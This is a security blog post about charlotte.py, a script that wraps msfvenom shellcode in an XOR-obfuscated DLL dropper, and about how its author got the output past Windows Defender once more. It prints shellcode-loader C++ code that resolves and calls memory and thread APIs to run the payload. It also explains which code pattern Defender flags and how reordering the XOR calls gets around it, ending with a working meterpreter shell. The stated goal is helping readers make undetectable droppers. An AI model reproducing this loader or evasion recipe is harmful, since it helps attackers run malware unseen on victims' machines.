Two months ago I released a python script titled charlotte.py on my GitHub. It was a script I made after completing a malware development course and it basically performs string manipulation on a template .cpp file that uses different methods of evasion taught in the course.

  • https://github.com/9emin1/charlotte

To my dismay, the author of the malware course actually posted a tweet mentioning how his code ‘evolved’ into someone else project, despite me posting a shoutout credit to the course author on twitter and also in the banner of the .py script, crediting and recommending the course. After reaching out to the author directly, it was then clear that I shouldn’t have removed the

/*
 Red Team Operator course code template - DLL
 author: reenz0h (twitter: @sektor7net)
*/ 

in the template.cpp file. Oh well. The author credit comments in the .cpp file has been added to the template.cpp file thereafter. Cool cool. Moving on,

charlotte.py, the python script which I wrote will basically perform string manipulation on the template.cpp (combination of techniques + templates taught in the course) file which mainly does the following:

  • read the raw shellcode beacon.bin file
  • generates independent XOR keys for the payload, and the function names that are to-be encrypted
  • encrypts, and randomise various function names and the exported DLL main method name
  • insert/replace the output into the template.cpp file and compiles it with MingW, outputs the final dropper .DLL file charlotte.dll
  • all on your kali!

Pretty cool eh? It was possible to bypass the latest Windows Defender back then even with a “out-of-the-box” shellcode generated with msfvenom! That should be heavily signatured up-down-left-right.

Submitting the .DLL to antiscan.me resulted in a 0/26 detection! Jeez. Ok I will have to admit that this benchmark is inaccurate. Why? Because it is a .DLL with a randomised exported name. Runtime analysis/Sandbox execution will have trouble executing the payload since it is not a direct .EXE file. The good ones should be able to dump the exported name out and execute it. Pretty sure if the binary is a .EXE instead the detection rate will be different.

After publicly releasing the script, Windows Defender was quick to pick it up and now, the .DLL generated by charlotte.py will get flagged by Windows Defender :(

The source files can be trivially modified and improvised to again, bypass the latest Windows Defender and get your shellz again. I won’t be updating the charlotte.py (v1.1) on my GitHub anymore as it will become a pointless cat and mouse game. The objective of this write-up is to provide ideas of how you can extend and improvise the dropper generation process and make your own FUD droppers!

Setting up charlotte.py is easy. Git Clone the project, generate a shellcode using msfvenom, and run the python script. Transfer the .DLL output to your Windows victim and you should be greeted with the Windows Defender alert.

Looking at the charlotte’d .cpp file it is as random as it gets…

[..snipped..]
extern "C" {
__declspec(dllexport) BOOL WINAPI DbAYSNZWz(void) {
	
	void * TBUtNFsTetfzYe;
	BOOL FItdBHlbLgjjKX;
	HANDLE ukEhQncjLs;
    	DWORD MYJsXQtkuIwP = 0;

        bmaVoPcTbQCXC((char *) mYdPgqLOidbJ, laqBjnDbqBRdTk, AkcsEcrfVHnOEDp, sizeof(AkcsEcrfVHnOEDp));

	hkKkLzdRJOg = GetProcAddress(GetModuleHandle("kernel32.dll"), mYdPgqLOidbJ);
	TBUtNFsTetfzYe = hkKkLzdRJOg(0, bConjMaNkxm, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	bmaVoPcTbQCXC((char *) tNmhfmDuHDyHwwo, bConjMaNkxm, OqtOdGvDbyoEE, sizeof(OqtOdGvDbyoEE));
	
	RtlMoveMemory(TBUtNFsTetfzYe, tNmhfmDuHDyHwwo, bConjMaNkxm);
	
        bmaVoPcTbQCXC((char *) hbZzMhPgnpgArBo, gZJLJMjsU, QqRdhyBGXwUR, sizeof(QqRdhyBGXwUR));

	mkcpaphYmJnvni = GetProcAddress(GetModuleHandle("kernel32.dll"), hbZzMhPgnpgArBo);
	FItdBHlbLgjjKX = mkcpaphYmJnvni(TBUtNFsTetfzYe, bConjMaNkxm, PAGE_EXECUTE_READ, &MYJsXQtkuIwP);

	// If all good, launch the payload
	if ( FItdBHlbLgjjKX != 0 ) {
		        bmaVoPcTbQCXC((char *) UCkJMXJzu, RxPQukOwnvkG, lHSttSXzCLxUa, sizeof(lHSttSXzCLxUa));
		        FjioHKPDNrBxbTW = GetProcAddress(GetModuleHandle("kernel32.dll"), UCkJMXJzu);
			ukEhQncjLs = FjioHKPDNrBxbTW(0, 0, (LPTHREAD_START_ROUTINE) TBUtNFsTetfzYe, 0, 0, 0);
		        bmaVoPcTbQCXC((char *) nhLePUqA, AbkuTYhMaSvpS, zqbHDXVjCK, sizeof(zqbHDXVjCK));
			GTVQQNMys = GetProcAddress(GetModuleHandle("kernel32.dll"), nhLePUqA);
[..snipped..]

We could try a few things here, such as changing the randomly generated string length, adding digits in the random characters pool, or change the process injection method entirely! (Eg: CreateRemoteThread)

Changing the random string generation to include digits doesn’t seeems to work. Example of the generated .cpp file:

[..snipped..]
extern "C" {
__declspec(dllexport) BOOL WINAPI NNvp7164(void) {
	
	void * WBAq9016;
	BOOL jBje8063;
	HANDLE xJIK8811;
    	DWORD KlQPuMC5262269 = 0;

        PRbvShcx22663990((char *) oKcRhGVV20305484, ezxTzFeO73259153, LvbWnD185662, sizeof(LvbWnD185662));

	HlKW4774 = GetProcAddress(GetModuleHandle("kernel32.dll"), oKcRhGVV20305484);
	WBAq9016 = HlKW4774(0, RifRipK9881400, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	PRbvShcx22663990((char *) WxBVfq459525, RifRipK9881400, TJvEiReD82699069, sizeof(TJvEiReD82699069));
	
	RtlMoveMemory(WBAq9016, WxBVfq459525, RifRipK9881400);
	
        PRbvShcx22663990((char *) SDuypec5887106, KkYRRl658980, PnjQClTq26117366, sizeof(PnjQClTq26117366));

	KxOf2915 = GetProcAddress(GetModuleHandle("kernel32.dll"), SDuypec5887106);
	jBje8063 = KxOf2915(WBAq9016, RifRipK9881400, PAGE_EXECUTE_READ, &KlQPuMC5262269);

	// If all good, launch the payload
	if ( jBje8063 != 0 ) {
		        PRbvShcx22663990((char *) RhZxK61345, TRnaXqO8057796, QSrTwReL58014914, sizeof(QSrTwReL58014914));
		        CzriWyM0413999 = GetProcAddress(GetModuleHandle("kernel32.dll"), RhZxK61345);
			xJIK8811 = CzriWyM0413999(0, 0, (LPTHREAD_START_ROUTINE) WBAq9016, 0, 0, 0);
		        PRbvShcx22663990((char *) yEpO3700, saSQCfB0574003, gfFEzi530686, sizeof(gfFEzi530686));
			QhTIQ62054 = GetProcAddress(GetModuleHandle("kernel32.dll"), yEpO3700);
[..snipped..]

Yikes. How? The .cpp has been mangled with so much randomised crap. Next attempt is to pinpoint exactly what is triggering. Removing the XOR encrypted shellcode doesn’t help either. A harmless .DLL without any payload is being flagged as malicious by Windows Defender. Interesting…. or not.

Windows Defender catches all these ‘dynamic’ payloads by assessing if there are too many randomised ‘junk’ data in a binary. This means that regardless if your payload is malicious or not, if your binary contains an amount of junk data exceeding what is their defined ‘safe benchmark’, or repeated use of ‘suspicious’ patterns combination, your payload will be flagged. This could be the length of a variable, repeated use of certain ‘blacklisted’ characters (such as the concatenation character, importing of win32 api ‘Declare’, etc. used in VBA), or in this case, calling the XOR function before GetProcAddress. (what???)

Yep, I know. Simply shifting how the repeated pattern of 1. XOR 2. GetProcAddress will make this undetected by Windows Defender again. This ‘breaks’ the suspicious pattern that is triggering Windows Defender.

For example, we can simply move the XOR calls on line 85 and line 88 respectively outside of the if condition,

Before (changes on template.cpp):

After (changes on template.cpp):

[..snipped..]
	pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), virtual_protect);
	rvba = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

    XOR((char *) createthread, ct_len, ct_key, sizeof(ct_key));
    XOR((char *) waitforsingleobject, wfso_len, wfso_key, sizeof(wfso_key));
	// If all good, launch the payload
	if ( rvba != 0 ) {
		    pCreateThread = GetProcAddress(GetModuleHandle("kernel32.dll"), createthread);
			thba = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			pWaitForSingleObject = GetProcAddress(GetModuleHandle("kernel32.dll"), waitforsingleobject);
			pWaitForSingleObject(thba, -1);
	}
	return TRUE;
	}
}
[..snipped..]

And thats it, we have our meterpreter shell working well again on a fully patched Windows 10 Defender. Nice.

It has been a good overall learning experience and I have a personal v2.0 version of charlotte.py that uses another process injection technique. It has been fun working on this and knowing that the release of the script has improved the consumer version of Windows Defender is great.

Good to know too that Windows Defender is now flagging payloads for ‘suspicious’ content patterns in binaries. Effective?